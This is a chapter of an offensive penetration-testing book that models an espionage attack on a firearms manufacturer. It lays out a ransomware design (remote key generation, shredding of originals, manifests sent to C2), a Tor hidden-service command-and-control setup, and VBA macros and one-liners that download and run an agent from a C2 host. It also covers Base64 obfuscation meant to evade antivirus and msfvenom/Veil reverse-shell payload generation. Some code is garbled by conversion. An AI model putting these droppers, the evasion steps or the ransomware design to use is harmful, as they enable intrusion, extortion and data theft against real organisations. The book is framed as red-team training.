Chapter 5
Guns and Ammo

This chapter is an interesting example of the potentially far-reaching consequences of failing to secure your intellectual property. In the modern era of total concept to product automation manufacturing, the loss of even a few Computer Aided Design (CAD) files are potentially enough to sink your business. In recent years, the use of Computer Numerical Control (CNC) systems have become very popular in the design and manufacture of arms as the military requests more complex systems in a crowded market where the lowest bidder is usually going to be awarded the procurement contract.

CNC systems are used to mass produce weapons to an exact specification with an absolute minimum of human interaction—sometimes only assembling the completed parts. A side effect of this approach is that CNC systems are easily available, relatively inexpensive, and can generate rapid return on investment. That, coupled with the fact that CNC instruction documents needed to drive such machines can be easily shared over the Internet and that home CNC gunsmithing has become something of a niche hobby among certain segments of the Internet, the potential not only for loss of intellectual property but also for massive proliferation is obvious. In the future, advanced 3D printing (as a broad term including plastics and hardened metals) will be available to virtually everyone and the legal restriction of firearms will likely become impossible to prevent (see Figure 5.1).

Photos showing ghost gunner and open source CNC machine.

Figure 5.1: Defense distributed ghost gunner. An open source CNC machine designed to manufacture AR-15 lower receivers restricted under Federal law.

Source: https://ghostgunner.net/

Background and Mission Briefing

Industrial espionage (and blatant theft of ideas passed off as innovation) has long been a facet of the arms industry. This is particularly evident when comparing NATO/Warsaw Pact weapon systems from the Cold War but the philosophy is alive and well in the domestic arms trade today (see Figure 5.2).

Photo showing Soviet AT-4 (right) and French MILAN system (Left).

Figure 5.2: The Soviet AT-4 (right) was a copy of the French MILAN system (Left).

Source: Composite image, own work

Just because the practice is generally accepted doesn't mean it is exactly welcome. While there is nothing manufacturers can do to stop the competition from reverse engineering their finished products, that is a completely different prospect than allowing them to view CAD or CNC documents and engineering specifications. With that ringing in my ears, I found myself planning an APT modeling exercise for one of the world's foremost arms manufacturers—regular suppliers to armed forces the world over, including many branches of the U.S. military.

Not surprisingly, the primary goals of testing were to determine the ease of acquisition of any schematics and documentation relating to weapons design and manufacture. This would include the CAD files that could be used to drive the CNC machines as well as any data that could be useful to the competition to determine how certain complex engineering problems were being solved, i.e., heat tolerance in next generation composite materials. This could be formal blueprints, internal processes on the local SharePoint or intranet server, or even just casual comments shared between engineers via email or instant messaging.

Another concern was the company's susceptibility to ransomware attacks. While I've included detailed instructions on how to simulate a ransomware infestation in the next section—so such technology may be better understood—my advice in this particular case (and in most cases) is simply to be aware of the dangers of ransomware and to have a recovery plan in place before the fact.

Payload Delivery Part V: Simulating a Ransomware Attack

Ransomware is currently the scourge of the Internet and it is a problem that will likely only get worse. Given that only basic programming skills are required to execute such an attack (as well as the wide availability of third-party crypto libraries), it is actually surprising that this type of malware has been so late to emerge and mature. Now that it has, it is virtually inevitable that your organization will be hit at some point.

What Is Ransomware?

Ransomware is software that, when deployed to a compromised host, encrypts files (or in some cases the entire local storage space) and demands payment for data recovery in the form of a password or decryption key, depending on the nature of the malware. Usually ransomware is delivered through exploit kits that target vulnerabilities in client side software, with Adobe Flash being far and away the most popular target due to its almost universal deployment and terrible history of security flaws. Payment is almost always demanded through Bitcoin, a semi-anonymous crypto currency created by “Satoshi Nakamoto,” which is the pseudonym of parties unknown at the time of writing (there are plenty of people who have claimed this identify and plenty more who have been wrongly identified as such).

Ransomware is a growing problem. It is easy money for organized crime looking to target low hanging fruit and there are always people willing to pay. Some ransomware groups or authors will accept payment through PayPal but tend to demand more money, presumably to compensate for the additional steps that would need to be taken to secure the identities of the thieves.

Why Simulate a Ransomware Attack?

The ultimate goal of penetration testing is to illustrate threat, risk, and vulnerability. Demonstrating this with relation to the end user often requires a context and ransomware is a powerful example. A user confronted with the helplessness that comes from being the victim of such an attack never needs to be told again why security is important, nor for that matter does the CISO want to have to explain to the CEO that if they want their valuable IP back, they need to pay a million dollars to the Russian mafia.

Without wanting to drive the point home, the days when businesses had to worry about nothing more annoying than bored teenagers and web-taggers are long gone. There are very bad people out there and you need to know what you are up against.

A Model for Ransomware Simulation

In order to simulate a ransomware attack, it is necessary to a certain extent to create ransomware—you're not after all going to want to use somebody else's hostile code. When developing a realistic framework, consider the following functionality the minimum:

  • Asymmetric cryptography only. Separate keys should be used for encryption and decryption.
  • Remote key generation. At the moment of deployment, the C2 agent should send a request to the C2 server requesting that a private and a public key pair be generated. The public key is then downloaded to the agent for the encryption process, ensuring that the compromised system never has access to the private key (which conversely is used for decryption). The key pair will exist on the server in its own directory in such a way that it can be linked to the target system in the future. One example is making an SHA hash of the public key and using that as the directory name.
  • Configurable to target specific file groups (i.e., Word documents, Excel spreadsheets, and so forth) as well as determine whether only local files are attacked or if network shares should also be included.
  • Secure deletion. Once a file is encrypted, the source should be deleted in such a way as to make it unrecoverable. Hashing and overwriting the file is one example of how this may be achieved.
  • Notify the target of the successful attack and provide a means to recover the files, i.e., generating a SHA hash of the public key on the compromised system and providing that string as a reference when requesting payment. An automated way to recover files with the key once the ransom is paid should be built into the C2 agent.
  • The ability to export the names of all encrypted files back to the C2 server in case there's something interesting that could be added to a “shopping list,” i.e., to steal.

Asymmetric Cryptography

This is not treatise on cryptographic technology—that is beyond the scope of this work. However, it is necessary to understand some principles even if you're not interested or familiar with what what happens under the hood. It certainly isn't necessary to be able to implement cryptographic ciphers or protocols from scratch, as every major programming language will have crypto libraries that are suitable for our purposes. If you're looking for a good introduction to cryptography then I suggest Applied Cryptography 20th Anniversary Edition by Bruce Schneier (Wiley, 2015).

Simply put, asymmetric cryptography (or public key cryptography) utilizes two different keys—one for encryption and one for decryption. Mathematically, these keys are related but one cannot be derived from the other. The benefit of this approach in day-to-day security tasks is that a public key can be shared with contacts (or the entire Internet), allowing content to be encrypted, which in turn can only be accessed by anyone with access to your private key (which should just be you). This is ideal for applications such as email. This is compared to symmetric cryptography (or private key encryption), where the same key is used for encryption and decryption. This is not suitable for a ransomware attack, as it is at least plausible that the key could be recovered by a competent forensic exercise. This is unlikely for the purposes laid out here but perfection should be sought in all things.

From the perspective of ransomware, asymmetric crypto is useful because it means that files can be locked and, in return for a ransom, something tangible is provided to recover them—something that there is no way the victim could otherwise acquire—and that's the private key.

In the C programming language, you have access to the libgcrypt library, shown in Table 5.1, which contains everything you need to implement a ransomware attack. RSA or DSA are the recommended public key cipher suites. The following functions are of specific interest:

Table 5.1: The libgcrypt library contains all the crypto functions you will ever need.

PRIMITIVE OR OPERATION ALGORITHMS OR IMPLEMENTATIONS
symmetric ciphers:[5] IDEA, 3DES, CAST5, Blowfish, AES (128, 192, 256 bits), Twofish (128, 256 bits), ARCfour / RC4, DES, Serpent (128, 192, 256 bits), Ron's Cipher 2 / RC2 (40, 128 bits), SEED, Camellia (128, 192, 256 bits), Salsa20, Salsa20/12, ChaCha20, GOST 28147-89
cipher modes:[6] ECB, CFB, CBC, OFB, CTR, AES-Wrap (RFC 3394), CCM, GCM, Stream, OCB
public key algorithms:[7][8] RSA, DSA, ElGamal, ECDSA, EdDSA
hash algorithms:[9] MD2, MD4, MD5, SHA-1, SHA-224, SHA-256, SHA-384, SHA-512, SHA3-224, SHA3-256, SHA3-384, SHA3-512, SHAKE128, SHAKE256, RIPEMD-160, TIGER/192, TIGER1, TIGER2, Whirlpool, CRC-24 (as in RFC 2440), CRC-32 (as in ISO 3309, RFC 1510), GOST R 34.11-94, GOST R 34.11-2012 (256, 512 bits)
message authentication codes (MACs):[10] HMAC, CMAC, GMAC, Poly1305
key derivation functions (KDFs):[11] S2K (as in RFC 4880: simple, salted, iterated+salted), PBKDF2, SCRYPT
elliptic curves: NIST (P-256, P-384, P-521), SECG (secp256k1), ECC Brainpool / RFC 5639 (P256r1, P384r1, P512r1), Bernstein (Curve25519), GOST R (34.10-2001, 34.10-2012)
  • gcry_pk_encrypt—Encrypt data using a public key.
  • gcry_pk_decrypt—Decrypt data using a private key.
  • gcry_pk_genkey—Create a new public/private key pair.

Remote Key Generation

The key pair should be generated on the server to ensure that the client never sees the private key until the ransom is paid. Some ransomware implementations generate the key pair on the client and then send the private key to the server. The danger of this is twofold: an error communicated to the server may prevent the private key from being delivered, rendering the files completely unrecoverable. If the private key is generated on the client, there is always the danger that it might be recoverable by the victim. Obviously, neither of these scenarios is beneficial.

Targeting Files

Any file types can be targeted though Microsoft office documents and database files. Anything that might contain precious information can be targeted, including game data files and Bitcoin wallets. In Windows, disk drives are referenced by a letter (including network shares), so the first step should be to enumerate all drives and scan them for files of the target file type. Once this process has concluded, a complete manifest should be exported back to the C2 server (as there may be interesting documents that might be worth keeping). At this point (and only at this point) the file encryption should begin. As each file is encrypted, its name should be added to a list somewhere on the host (i.e., c: ansomfiles.txt) and the original file should be destroyed through cryptographic scrubbing. The file should be overwritten by random hashed data before it is deleted. The encrypted file should be placed in the same directory as its plaintext counterpart (see Figure 5.3).

Scheme for Encryption process flow.

Figure 5.3: Encryption process flow.

Requesting the Ransom

Once the attack is complete, the public key is hashed using the same process used when it was created on the C2 server. The sole purpose of this is to create a small unique identifier that the victims can use when notifying that they have paid the ransom and to allow the perpetrator to find the corresponding private key. This hash could be pasted into a web page and the private key delivered automatically. The victims should also be notified of the contents of c: ansomfiles.txt so they are completely clear what is at stake. See Figure 5.4.

Scheme for Decryption process flow.

Figure 5.4: Decryption process flow.

Maintaining C2

It's worth pointing out that even if you pay a ransom, that doesn't mean this will be the last time you ever hear from the attacker. In this instance, the command and control infrastructure is still in place and the victim's files are still accessible. A ransomware attack could just be one component in a larger APT scenario. As you saw in the previous chapter, once large sections of the network or domain are accessible to an attacker, a large-scale data theft can be easily turned into a large-scale ransom operation. Sickeningly, the most popular target for such attacks at the moment are hospitals because they are under the most pressure to pay. They don't have time to engage in long-term forensic operations or expensive data recovery exercises when the files they've lost access to are essential for delivering health care.

Final Thoughts

Should you ever actually carry out such an exercise? No. You can certainly do more harm than good if you do so idly (for which I take no responsibility); however, there is absolutely no doubt as to its effectiveness. If you're a CISO conducting penetration testing as leverage to get a larger budget for security, it might be something to consider (in a very controlled manner).

Command and Control Part V: Creating a Covert C2 Solution

The necessity to communicate over the Internet is the weak link in any command and control infrastructure. Even if the C2 is distributed over multiple servers, there is the inherent fragility that comes from needing to talk to IP addresses that could be blocked at a border router if the network team considers the traffic suspicious or if the C2 servers are added to threat databases such as the Open Threat Exchange, which can automatically update security appliances with addresses of “known-bad.” Another issue is that once a C2 server has been identified, it is at risk of being physically decommissioned and seized by law enforcement. Fortunately, there is a solution to both of these problems.

Introducing the Onion Router

If you're reading this, you've likely encountered the Onion Router (Tor) in one form or another or at least have an inkling of what it is. To summarize, Tor is primarily used to anonymize an Internet user's behavior—web traffic (for example) is routed through several layers of routers (hence the onion) before being routed back on to the public Internet through an exit node. Each layer can only see its own upstream and downstream connections in any session and traffic is encrypted. This effectively anonymizes the Internet user.

There are problems with this approach though. If attackers control the exit node, they can see the traffic going to its final destination. There are also correlation attacks that can be executed by major players (such as the NSA, which controls many exit nodes), allowing the user to be identified by cross-referencing packets entering and leaving the Tor network (at least in theory). Tor, however, also allows us to provision services within the “dark” network itself—this effectively creates (for example) a completely anonymous web server that can only be viewed via Tor and uses its own distributed addressing system. That is ideal for our needs. A C2 server can be provisioned as a node within the Tor network and the compromised host will connect to Tor when it comes online, completely circumventing local network security and remaining operational access, even if compromised hosts are detected.

The first thing to do is download the Tor software—it's available for a wide range of platforms. This guide uses the Linux version for C2 and the Windows version for the C2 agent, but these instructions are virtually identical regardless of operating system. The easiest way to proceed is to download the Tor browser packages, which are used to browse the web anonymously. That of course is not what we want to do, but the full suite contains the individual components we need, which can be pulled out and built into our C2 infrastructure. This setup assumes the pre-existence of a C2 server configured more or less along the lines described in previous chapters. It is imperative that all services, be they SSH, web server, or Metasploit listener, be exposed only on the localhost address. This is because this is where the Tor tunnel endpoint will expect them to be and also ensures that nothing about the C2 can be enumerated from the Internet, such as by search engines.

The Torrc File

Tor stores its configuration in a file called torrc. The location of this file depends on the operating system. In Windows, it is in the installation directory; in Linux, it can be found in ˜/.tor; and on the Mac OS X, it's in the Applications directory under the Tor browser package. You'll need to sudo up and modify it from the command line. Regardless of the operating system, the torrc file is the same. In order to create a hidden service, you need to append the following lines to the file:

# Configure hidden service directory
HiddenServiceeDir /home/wil/tor_hidden
# C2 Web Port
HiddenServicePort 443 127.0.0.1:4433
# C2 SSH Port
HiddenServicePort 7022 127.0.0.1:7022
# C2 Metasploit listener
HiddenServicePort 8080 127.0.0.1:8080

This makes TCP ports 443, 7022, and 8080 available on the Tor host, with the assumption that our C2 is using these ports. Change them to whatever you need them to be. The hidden service directory is simply the place where our server keys will be stored and should be outside the web server's root directory. Note that the web server, while exposing port 443, is actually running on 4433. This is simply to avoid having to start the web service as root.

The next time Tor is started, two files will be created in the tor_hidden directory. Those files are a private_key file (keep this secure or others will be able to impersonate your C2) and a hostname file that contains a hash of the public key. This will also be the address of your C2:

wil@c2:~$ /etc/init.d/tor restart

wil@c2:~$ ls

hostname
private_key


wil@c2:~$ cat private_key

-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQC9ymfMgQk12AFT4PXWV+XfmZ1tVDaGajya/jIuwnwtjFdMWe7m
VDWMjs8Z02GGJhH6tIIpoDUrWLi+YchNHlQBi2AnBFzAoSlfRcvobeBAaWuQn+aH
Uzr+xVXOADSIcfgtT5Yd13RKmUEKFV8AO9u652zYP1ss0l+S2mY/J/t/3wIDAQAB
AoGAMjQwcPBRN2UENOP1I9XsgNFpy1nTcor3rShArg3UO1g8X34Kq/Lql1vPfM1l
ps67Qs4tAEXYyraVaAcFrSCwp6MyeKYwxZtT7ki7q3rbMycvbYquxquh0uGy4aed
K8XWjPrUv3yzQSYslOehVWMTH7xTzaOvp5uhpAlHFRqN5MECQQDmpFkXmtfEGwqT
bRbKegRs9siNY6McWBCGrYc/BrpXEiK0j2QcrjC/dMJ4P9O4A94aG4NSI/005fII
vxrOmD9VAkEA0qhBVWeZD7amfvPYChQo0B4ACZZdJlcUd/x1JSOYbVKvRCvJLxjT
5LMwg93jj2m386jXWx8n40Zcus6BTDr6YwJBAKH8E0ZszdVBWLAqEbOq9qjAuiHz
NH+XqiOshCxTwVOdvRorCxjJjhspGdvyl/PJY5facuShuhgI13AlJ+KpMvECQHDJ
l1lzw1bPc2uLgUM8MfHj7h8z+6G4hAQODmaZHVaDK8XzL59gyqqrajFgTyOM9emm
n89w6flcxe9a+41mEoMCQBaM91yvrfp7N9BeDMCHlSDfAzX7sDqQn44ftHvZZI9V
4IouuRuLlqN0iaw4V73v3MUeqXoasmdeZ89bVGhVrC8=
-----END RSA PRIVATE KEY-----


wil@c2:~$ cat hostname

4y8jey307n3du4i.onion

When the C2 is live and being provisioned over the Tor network using this configuration, it can be accessed by C2 agents anywhere in the world using the address 4y8jey307n3du4i.onion, provided that the agents can access the Tor network themselves. It's worth repeating the point that once this infrastructure is up and running, there is complete bilateral traffic anonymity. The agents don't know where they're connecting and the C2 server can't see the location of the agents. This makes it very difficult for targets to detect and block C2 traffic and impossible to discover where our C2 server is.

Configuring a C2 Agent to Use the Tor Network

Once the C2 server is configured to accept connections over Tor, the next step is to enable the C2 agents deployed on compromised machines to do so. The easiest way to do this is to bundle the tor.exe command-line application with the agent and simply execute it without parameters. This will cause it to run in a hidden window and open a SOCKS proxy port on localhost 9050. I suggest renaming it first so it's not immediately visible within the Window process list. From a code perspective, the following changes need to be made:

  • Change the SSH tunneling IPs from the Internet IPv4 addresses within the code to point to the .onion address mentioned previously.
  • Tell the SSH SOCKS proxy to upstream to the Tor SOCKS proxy on TCP 9050, as seen in Figure 5.5.
    Scheme for Simplified covert C2 topology.

    Figure 5.5: Simplified covert C2 topology.

Bridges

Some networks may block port TCP 9050 outbound or even dynamically blacklist all Tor nodes in an attempt to prevent their users accessing the Tor network and circumvent network access control; however, this can easily be defeated by telling the C2 agent to use Tor bridges when connecting. This is achieved by adding the following options to the local torrc configuration file. Bridging can also be handled as an option on the command line, but for an initial deployment, I want to make sure I have working bridges up front and let the Tor agent handle its own directory once it's connected. Experiment and have fun.

Bridge fte 128.105.214.163:8080 A17A40775FBD2CA1184BF80BFC330A77ECF9D0E9
Bridge fte 192.240.101.106:80 FDC5BA65D93B6BCA5EBDF8EF8E4FA936B7F1F8E5
Bridge fte 128.105.214.162:8080 FC562097E1951DCC41B7D7F324D88157119BB56D
Bridge fte 50.7.176.114:80 2BD466989944867075E872310EBAD65BC88C8AEF
Bridge fte 131.252.210.150:8080 0E858AC201BF0F3FA3C462F64844CBFFC7297A42
Bridge fte 128.105.214.161:8080 1E326AAFB3FCB515015250D8FCCC8E37F91A153B
UseBridges 1

New Strategies in Stealth and Deployment

You're roughly halfway through this weighty tome, so it seems like a good time to take stock, revisit, and improve on previous topics while touching on some new and improved material.

VBA Redux: Alternative Command-Line Attack Vectors

VBA macros were examined in Chapter 1 as a means of delivering payloads and I want to revisit this technology, as there are other (better) ways of using them. The VBA macro is also a very illustrative way of demonstrating other techniques of talking to command and control and downloading and executing a second stage using only one command. There are also better ways of delivering the resulting Word document than email. Generally speaking, an MS Word document carrying a macro requires a .docm extension which, regardless of whether you're able to get it past antivirus or malware detection, can still be identified by humans and machines alike as a possible attack vector before it's even downloaded. Email will often strip such attachments by default, possibly quarantine them, and almost certainly warn the end user. More on this in a moment.

In the past, I've concentrated on using VBA macros to drop a VBS payload, which in turn will download a C2 agent executable. That will work and allows a lot of flexibility in what you can do once you're outside the restrictions of the VBA model. However, that level of complexity is not always necessary or desirable. If all you want to do is download and execute a C2 agent, you can do that (in various ways) with a single Windows command. When correctly obfuscated, these techniques are as effective and as impervious to antivirus as anything seen so far.

PowerShell

You can use Windows own scripting language, PowerShell, for all kinds of post-exploitation tasks. It doesn't have the most elegant syntax and structure compared to what you will be used to as a UNIX user, but it's more than powerful enough for our needs. The following code in a VBA macro will download the agentc2.exe file from http://ourc2server.com, store it as agent.exe in the working directory, and execute it:

Sub powershell()
'
' Powershell Macro
'
'
Dim PSResponse As String


PSResponse = Shell("PowerShell (New-Object System.Net.WebClient).DownloadFile('http://ourc2server.com/download/c2agent.exe','agent.exe'");Start-Process 'agent.exe'", vbHide)

End Sub

Note the vbHide option within the Shell command. This ensures that the execution is hidden from the users (at least in the sense that they won't see a command window).

FTP

For most tasks, FTP is a deprecated file transfer solution. It's clumsy and insecure, but it still has its uses. The following code (this time not shown within the context of a VBA macro) will achieve the same effect by first building an FTP script to execute the following FTP commands:

open ourc2server.com
binary
get /c2agent.exe
quit
and then executing the agent itself:

cmd.exe /c "@echo open ourc2server.com>script.txt&@echo binary>>script.txt&
@echo get /c2agent.exe>>script.txt&@echo quit>>script.txt&@ftp -s:scrip
t.txt -v -A&@start c2agent.exe"

Windows Scripting Host (WSH)

The WSH can also be used to download and execute code as a single command line if you are so inclined. Much like the previous example, this requires that you first build a script file:

strFileURL = "http://ourc2server/downloads/c2agent.exe"
strHDLocation = "agent.exe"
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
Set objShell = CreateObject("WScript.Shell")
objShell.Exec("agent.exe")

and execute it using cscript.exe. The completed command line is as follows:

cmd.exe /c "@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>poc.vbs
&@echo objXMLHTTP.open "GET","http://ourc2server/downloads/c2agent.exe",false>>poc.vbs
&@echo objXMLHTTP.send()>>poc.vbs
&@echo If objXMLHTTP.Status=200 Then>>poc.vbs
&@echo Set objADOStream=CreateObject("ADODB.Stream")>>poc.vbs
&@echo objADOStream.Open>>poc.vbs
&@echo objADOStream.Type=1 >>poc.vbs
&@echo objADOStream.Write objXMLHTTP.ResponseBody>>poc.vbs
&@echo objADOStream.Position=0 >>poc.vbs
&@echo objADOStream.SaveToFile "agent.exe">>poc.vbs
&@echo objADOStream.Close>>poc.vbs
&@echo Set objADOStream=Nothing>>poc.vbs
&@echo End if>>poc.vbs
&@echo Set objXMLHTTP=Nothing>>poc.vbs
&@echo Set objShell=CreateObject("WScript.Shell")>>poc.vbs
&@echo objShell.Exec("agent.exe")>>poc.vbs&cscript.exe poc.vbs"

BITSadmin

Windows 7 and above ships with a command-line tool called BITSadmin, which can also be used to download and execute code. This tool is worth mentioning, as it is capable of suspending a file transfer if the network connection is lost. When connectivity is restored, the transfer will continue and the code will be executed.

cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://ourc2server.com/download/c2agent.exe c:agent.exe&start agent.exe"

Simple Payload Obfuscation

These techniques, while effective, are transparent to anyone who views the macro and contain keywords that antivirus may find suspicious. However, it's easy to obfuscate these commands using a simple Base64 encoding routine. There are other, stronger means of obfuscation but this is sufficient to defeat virtually all forms of automated malware analysis.

It is possible to detect, decode, and analyze Base64 strings (trivial in fact), but while the presence of encoded data might generally increase the AV suspicion of any given file, unless there are other contributing factors, it will not be enough to get it flagged. Doing so would create an unacceptable number of false positives.

Continuing with the PowerShell within VBA example, the first thing to do is encode the payload string as Base64. To keep it topical, I demonstrate this with PowerShell:

PS > $b  = [System.Text.Encoding]::UTF8.GetBytes("PowerShell (N
ew-Object System.Net.WebClient).DownloadFile('http://ourc2server.com/download/c2
agent.exe','agent.exe');Start-Process 'agent.exe'")

PS > [System.Convert]::ToBase64String($b)

UG93ZXJTaGVsbCAoTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCd
odHRwOi8vb3VyYzJzZXJ2ZXIuY29tL2Rvd25sb2FkL2MyYWdlbnQuZXhlJywnYWdlbnQuZXhlJyk7U3
RhcnQtUHJvY2VzcyAnYWdlbnQuZXhlJw==

The first command assigns the payload to a string of bytes called $b and the second command converts it to Base64.

The next step is to create a VBA macro capable of decoding this string and executing it:

Option Explicit
Private Const clOneMask = 16515072
Private Const clTwoMask = 258048
Private Const clThreeMask = 4032
Private Const clFourMask = 63
Private Const clHighMask = 16711680
Private Const clMidMask = 65280
Private Const clLowMask = 255

Private Const cl2Exp18 = 262144
Private Const cl2Exp12 = 4096
Private Const cl2Exp6 = 64
Private Const cl2Exp8 = 256
Private Const cl2Exp16 = 65536



Public Function monkey(sString As String) As String

    Dim bOut() As Byte, bIn() As Byte, bTrans(255) As Byte, lPowers6(63) As Long, lPowers12(63) As Long
    Dim lPowers18(63) As Long, lQuad As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String
    Dim lTemp As Long

    sString = Replace(sString, vbCr, vbNullString)
    sString = Replace(sString, vbLf, vbNullString)

    lTemp = Len(sString) Mod 4

    If InStrRev(sString, "==") Then
        iPad = 2
    ElseIf InStrRev(sString, "=") Then
        iPad = 1
    End If

    For lTemp = 0 To 255
        Select Case lTemp
            Case 65 To 90
                bTrans(lTemp) = lTemp - 65
            Case 97 To 122
                bTrans(lTemp) = lTemp - 71
            Case 48 To 57
                bTrans(lTemp) = lTemp + 4
            Case 43
                bTrans(lTemp) = 62
            Case 47
                bTrans(lTemp) = 63
        End Select
    Next lTemp

    For lTemp = 0 To 63
        lPowers6(lTemp) = lTemp * cl2Exp6
        lPowers12(lTemp) = lTemp * cl2Exp12
        lPowers18(lTemp) = lTemp * cl2Exp18
    Next lTemp
    bIn = StrConv(sString, vbFromUnicode)
    ReDim bOut((((UBound(bIn) + 1)  4) * 3) - 1)

    For lChar = 0 To UBound(bIn) Step 4
        lQuad = lPowers18(bTrans(bIn(lChar))) + lPowers12(bTrans(bIn(lChar + 1))) + _
                lPowers6(bTrans(bIn(lChar + 2))) + bTrans(bIn(lChar + 3))
        lTemp = lQuad And clHighMask
        bOut(lPos) = lTemp  cl2Exp16
        lTemp = lQuad And clMidMask
        bOut(lPos + 1) = lTemp  cl2Exp8
        bOut(lPos + 2) = lQuad And clLowMask
        lPos = lPos + 3
    Next lChar

    sOut = StrConv(bOut, vbUnicode)
    If iPad Then sOut = Left$(sOut, Len(sOut) - iPad)
    monkey = sOut

End Function


Sub testb64()
'
' testb64 Macro
'
'

Dim PSResp As String

PSResp = Shell(monkey("UG93ZXJTaGVsbCAoTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCd
odHRwOi8vb3VyYzJzZXJ2ZXIuY29tL2Rvd25sb2FkL2MyYWdlbnQuZXhlJywnYWdlbnQuZXhlJyk7U3
RhcnQtUHJvY2VzcyAnYWdlbnQuZXhlJw=="), vbHide)

End Sub

Note that the Shell command is now calling the monkey function, which takes the Base64 string as input. Why monkey? Because it's not obviously a decoding function. If it was called Base64Decode (for example), the AV might be tempted to take a closer look.

Alternative Strategies in Antivirus Evasion

You are probably getting the impression by now that I am determined to really hammer home the importance of getting around AV. It's important to understand that the only things AV is good for is stopping known vanilla attacks and annoying penetration testers. In any APT attack, all tools should be custom and tested against known defenses before being deployed, rendering the issue of AV somewhat moot. However, there are times when you're going to want to use tools written by others for convenience or due to time constraints and it is critical to ensure that they're not going to get detected.

The most obvious example is Metasploit agents that you'll want to deploy over your own C2. As Metasploits are very well known and well understood by AV vendors, it's necessary to do a little extra work to keep them from being detected. A nice solution to this is the Veil Evasion toolkit written by Harmj0y and friends; you can get it here:

https://www.veil-framework.com/framework/veil-evasion/

I give two examples of how to use Veil Evasion:

  • Taking pre-armored shellcode and using it to create a robust executable.
  • Securing non-armored shellcode with AES encryption to create a compiled Python executable.

The toolkit is capable of a lot more than this. If you're reading this book and are not aware of Veil Evasion, you owe it to yourself to check it out.

In the first example, a shellcode payload for a Meterpreter callback agent has already been created using msfvenom and the following command line:

# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter_reverse_http -e x86/fnstenv_mov -i 5 -f raw LPORT=1234 LHOST=ourc2server.com EXITFUNC=none -o raw_shellcode
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/fnstenv_mov
x86/fnstenv_mov succeeded with size 1190492 (iteration=0)
x86/fnstenv_mov succeeded with size 1190516 (iteration=1)
x86/fnstenv_mov succeeded with size 1190540 (iteration=2)
x86/fnstenv_mov succeeded with size 1190564 (iteration=3)
x86/fnstenv_mov succeeded with size 1190588 (iteration=4)
x86/fnstenv_mov chosen with final size 1190588
Payload size: 1190588 bytes
Saved as: raw_shellcode

This will create a Windows reverse HTTP connector using a variable-length Fnstenv/mov Dword XOR encoder.

This is now ready to be used in Veil, as shown in Figure 5.6.

Illustration of Veil-Evasion landing screen.

Figure 5.6: Veil-Evasion landing screen.

# ./Veil-Evasion.py

Use payload 41 and set the options as shown in Figure 5.7.

Illustration of Veil with options set screen.

Figure 5.7: Veil with options set.

Type generate and, on the next screen, select Option 3—File with Shellcode (Raw). Then enter the filename where the output was saved (in this case, raw_shellcode). See Figure 5.8.

Illustration of Veil compiled Python executable from the raw shellcode.

Figure 5.8: Veil can now generate a compiled Python executable from the raw shellcode.

The code is generated, as shown in Figure 5.9.

Illustration of Veil compiled executable code.

Figure 5.9: The compiled executable is ready for use.

The previous example is somewhat contrived, as Veil Evasion is perfectly capable of natively creating obfuscated AV proof Meterpreter callbacks, but I wanted to demonstrate creating payloads from flat shellcode, as you may want to be using something other than Meterpreter. The options are suggestive—you'll need to experiment with the settings to make your payload truly stealthy.

For the second example, I create another .exe using more or less the same msfvenom parameters, but this time excluding the encoding:

# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter_reverse_http -f raw LPORT=1234 LHOST=ourc2server.com EXITFUNC=none -o raw_shellcode
No encoder or badchars specified, outputting raw payload
Payload size: 1190467 bytes
Saved as: raw_shellcode

This time in Veil Evasion, I select payload 35 - python/shellcode_inject/aes_encrypt.

If you proceed with the same options as the first example, you'll see something similar to Figure 5.10.

Representation of Veil compiled executable code.

Figure 5.10: Once again, it's ready to use.

Lastveil.png

One last word on this tooling and I'll leave the notion of antivirus alone for a while. A very nice feature of Veil Evasion is that whenever it creates a payload, it stores a SHA256 hash of the .exe in its own database. This allows you in the future to tell if anyone else has submitted the payload to Virus Total for analysis, which is of course generally not a good thing for your mission.

The Attack

As stated earlier in the chapter, it is preferable to know in as much detail and with as much forethought as possible exactly what you're interested in taking from the target network prior to commencing an engagement. It sounds obvious—firearms schematics—but all that is currently known about the target is that they manufacturer firearms and are heavily invested in CNC technology. There are a finite number of CAD technologies that are suitable for such work and that can export designs compatible with these machines. Knowing what tech (and therefore file extensions and so forth) is in use beforehand will save you time when scouring the infrastructure for data.

This is not as difficult as it sounds. A quick Google search elicits a web page and, buried within a Q&A session about their hand guns designs, there is exactly what you need.

Gun Design Engineer Answers Your Questions

What CAD software do you use to design your firearms?

We use Solid Edge ST8 currently, but started at ST 3 versions 14, I believe.

That's enough to get started. Solid Edge is a 3D CAD, parametric feature (history based) and synchronous technology solid modeling software. It runs on Microsoft Windows and provides solid modeling, assembly modeling, and 2D orthographic view functionality for mechanical designers. It's currently owned and developed by Siemens AG. A free trial is available so there's no excuse not to download it, take it around the block, and make a note of its core filenames and data file extensions so that engineering workstations can be quickly identified once the target network has been penetrated. Figure 5.11 shows the file types.

Screenshot for Save As dialog box showing the file types Solid Edge works with.

Figure 5.11: A Save As dialog box shows the file types Solid Edge works with.

Similarly, the Solid Edge program directory shown in Figure 5.12 lists which applications to hunt for.

Screenshot for Solid Edge application directory.

Figure 5.12: Solid Edge application directory.

Identifying the Players

Before going after individual targets, it's a good idea to get an overview of the company itself. This doesn't have to be particularly detailed but as with every other aspect of APT modeling, time and effort is proportionally rewarded. At a minimum, I want:

  • The rough number of employees
  • Employee names and positions
  • Email address format
  • Business locations

